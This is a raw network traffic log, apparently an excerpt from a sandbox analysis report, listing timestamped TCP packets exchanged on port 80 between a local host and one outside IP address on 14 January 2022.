Jan 14, 2022 21:05:49.668386936 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.668426991 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.668456078 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.668467999 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.668497086 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.668507099 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.668548107 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.668562889 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.668613911 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.669162035 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.669202089 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.669241905 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.669281006 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.669297934 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.669322014 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.669363022 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.669383049 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.669404030 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.669418097 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.669445038 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.669485092 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.669511080 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.669527054 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.669569016 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.669596910 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.669609070 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.669650078 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.669692993 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.669709921 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.669730902 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.669770002 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.669784069 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.669810057 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.669859886 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.669867039 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.669914961 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.669918060 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.669953108 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.669991970 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.670032024 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.670069933 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.670073032 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.670130014 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.672738075 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.672806025 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.688359976 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.726536036 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.726581097 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.726619005 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.726675987 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.727463961 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.727523088 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.727547884 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.727564096 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.727603912 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.727643967 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.727662086 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.727686882 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.727718115 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.727725983 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.727766991 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.727791071 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.727804899 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.727845907 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.727880001 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.727885008 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.727924109 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.727963924 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.727977991 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.728002071 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.728043079 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.728064060 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.728082895 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.728097916 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.728122950 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.728163004 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.728185892 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.728203058 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.728243113 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.728255987 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.728281975 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.728322029 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.728362083 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.728389025 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.728403091 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.728441000 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.728462934 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.728482962 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.728523016 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.728549004 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.728560925 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.728574991 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.728600979 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.728655100 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.728689909 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.728703976 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.728745937 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.728784084 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.728801966 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.728823900 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.728863955 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.728878021 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.728903055 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.728943110 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.728945971 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.728982925 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.729022980 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.729038000 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.729063034 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.729100943 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.729115009 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.729141951 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.729181051 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.729196072 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.729219913 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.729228020 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.729259968 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.729299068 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.729311943 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.729340076 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.729379892 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.729393959 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.729418039 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.729458094 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.729496956 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.729510069 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.729535103 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.729587078 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.731038094 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.732762098 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.734616041 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.784678936 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.784735918 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.784825087 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.787425041 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.787511110 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.787586927 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.787666082 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.787686110 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.787756920 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.787818909 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.787826061 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.787868977 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.787899971 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.787918091 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.787957907 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.787982941 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.787997007 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.788038015 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.788062096 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.788078070 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.788116932 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.788151026 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.788156033 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.788196087 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.788233995 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.788264036 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.788274050 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.788312912 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.788346052 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.788355112 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.788369894 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.788395882 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.788434029 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.788465023 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.788472891 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.788515091 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.788532019 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.788552999 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.788593054 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.788631916 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.788650990 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.788671017 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.788713932 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.788747072 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.788752079 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.788767099 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.788793087 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.788834095 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.788853884 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.788872004 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.788913012 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.788935900 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.788950920 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.788991928 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.789032936 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.789052963 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.789069891 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.789108992 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.789143085 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.789149046 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.789154053 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.789186954 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.789226055 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.789241076 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.789266109 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.789305925 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.789329052 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.789345980 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.789386034 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.789426088 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.789448023 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.789465904 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.789504051 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.789525032 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.789542913 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.789555073 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.789583921 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.789623976 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.789640903 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.789664984 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.789704084 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.789727926 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.789743900 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.792416096 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.792763948 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.842974901 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.843014956 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.843099117 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.847758055 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.847789049 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.847807884 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.847825050 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.847826004 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.847841978 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.847843885 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.847860098 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.847877026 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.847893953 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.847894907 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.847913027 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.847929001 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.847932100 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.847946882 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.847950935 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.847965956 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.847982883 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.847981930 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.848030090 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.848159075 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.848177910 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.848195076 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.848212004 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.848212957 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.848243952 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.848261118 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.848262072 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.848282099 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.848292112 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.848298073 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.848315001 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.848330021 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.848332882 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.848351955 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.848368883 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.848377943 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.848388910 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.848404884 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.848406076 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.848426104 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.848437071 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.848443031 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.848462105 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.848478079 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.848479986 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.848498106 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.848515034 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.848531961 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.848532915 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.848551989 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.848562002 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.848568916 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.848582983 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.848586082 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.848604918 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.848620892 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.848620892 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.848638058 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.848655939 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.848671913 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.848675013 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.848694086 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.848697901 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.848711967 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.848728895 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.848730087 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.848747015 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.848762035 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.848763943 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.848782063 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.848798037 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.848798990 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.848817110 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.848834038 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.848834038 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.848851919 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.848869085 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.848877907 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.848886967 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.848906994 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.850120068 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.850138903 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.850162029 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.851838112 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.901298046 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.901325941 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.901345015 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.901398897 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.901437044 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.905992985 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.906013012 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.906030893 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.906048059 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.906056881 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.906065941 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.906083107 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.906090021 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.906100988 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.906117916 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.906131029 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.906136036 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.906152964 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.906160116 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.906169891 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.906186104 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.906188011 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.906203032 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.906220913 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.906486988 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.906503916 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.906522036 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.906538010 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.906538963 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.906567097 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.906590939 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.906608105 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.906625032 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.906641006 CET	49882	80	192.168.2.5	81.163.30.181
Jan 14, 2022 21:05:49.906642914 CET	80	49882	81.163.30.181	192.168.2.5
Jan 14, 2022 21:05:49.906658888 CET	49882	80	192.168.2.5	81.163.30.181
